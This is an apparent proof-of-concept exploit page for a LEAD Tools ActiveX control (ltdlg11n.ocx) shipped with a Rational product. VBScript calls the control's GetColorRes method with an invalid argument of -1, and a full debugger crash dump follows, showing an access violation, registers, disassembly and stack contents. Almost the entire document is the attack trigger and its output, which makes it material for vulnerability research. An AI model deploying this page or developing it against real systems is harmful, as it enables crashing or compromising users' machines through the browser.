89 lines
No EOL
2.2 KiB
HTML
89 lines
No EOL
2.2 KiB
HTML
<html>
|
|
Test Exploit Page
|
|
<object classid='clsid:00110060-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
|
|
<script language='vbscript'>
|
|
targetFile = "C:\Program Files\Rational\common\ltdlg11n.ocx"
|
|
prototype = "Function GetColorRes ( ByVal hWnd As Long ) As Integer"
|
|
memberName = "GetColorRes"
|
|
progid = "LEADDlgLib.LEADDlg"
|
|
argCount = 1
|
|
|
|
arg1=-1
|
|
|
|
target.GetColorRes arg1
|
|
|
|
</script>
|
|
|
|
|
|
Exception Code: ACCESS_VIOLATION
|
|
Disasm: 7E428FB5 MOV [EAX],ECX
|
|
|
|
Seh Chain:
|
|
--------------------------------------------------
|
|
1 73352960 VBSCRIPT.dll
|
|
2 7C839AD8 KERNEL32.dll
|
|
|
|
|
|
Called From Returns To
|
|
--------------------------------------------------
|
|
USER32.7E428FB5 LTKRN11n.2000A033
|
|
|
|
|
|
Registers:
|
|
--------------------------------------------------
|
|
EIP 7E428FB5 -> 8B044689
|
|
EAX 7713643C -> 8B044689
|
|
EBX 00000000
|
|
ECX 00000000
|
|
EDX 00000001
|
|
EDI 02AB1FE0 -> 00000000
|
|
ESI 771363F8 -> F33BF08B
|
|
EBP 0013EC60 -> 00000000
|
|
ESP 0013EC60 -> 00000000
|
|
|
|
|
|
Block Disassembly:
|
|
--------------------------------------------------
|
|
7E428FA8 PUSH EBP
|
|
7E428FA9 MOV EBP,ESP
|
|
7E428FAB MOV EAX,[EBP+8]
|
|
7E428FAE TEST EAX,EAX
|
|
7E428FB0 JE SHORT 7E428FCC
|
|
7E428FB2 MOV ECX,[EBP+C]
|
|
7E428FB5 MOV [EAX],ECX <--- CRASH
|
|
7E428FB7 MOV ECX,[EBP+10]
|
|
7E428FBA MOV [EAX+4],ECX
|
|
7E428FBD MOV ECX,[EBP+14]
|
|
7E428FC0 MOV [EAX+8],ECX
|
|
7E428FC3 MOV ECX,[EBP+18]
|
|
7E428FC6 MOV [EAX+C],ECX
|
|
7E428FC9 XOR EAX,EAX
|
|
7E428FCB INC EAX
|
|
|
|
|
|
ArgDump:
|
|
--------------------------------------------------
|
|
EBP+8 7713643C -> 8B044689
|
|
EBP+12 00000000
|
|
EBP+16 00000000
|
|
EBP+20 00000000
|
|
EBP+24 00000000
|
|
EBP+28 02AB1FE0 -> 00000000
|
|
|
|
|
|
Stack Dump:
|
|
--------------------------------------------------
|
|
13EC60 00 00 00 00 33 A0 00 20 3C 64 13 77 00 00 00 00 [.........d.w....]
|
|
13EC70 00 00 00 00 00 00 00 00 00 00 00 00 E0 1F AB 02 [................]
|
|
13EC80 D4 EC 13 00 20 1A FF 1F F8 63 13 77 E0 1F AB 02 [.........c.w....]
|
|
13EC90 B4 ED 13 00 3A 11 BE 1F D4 EC 13 00 AC ED 13 00 [................]
|
|
13ECA0 E0 1F AB 02 58 1F AB 02 F8 1E AB 02 00 00 00 00 [....X...........]
|
|
|
|
|
|
|
|
ApiLog
|
|
--------------------------------------------------
|
|
|
|
***** Installing Hooks *****
|
|
7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
|
|
7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll) |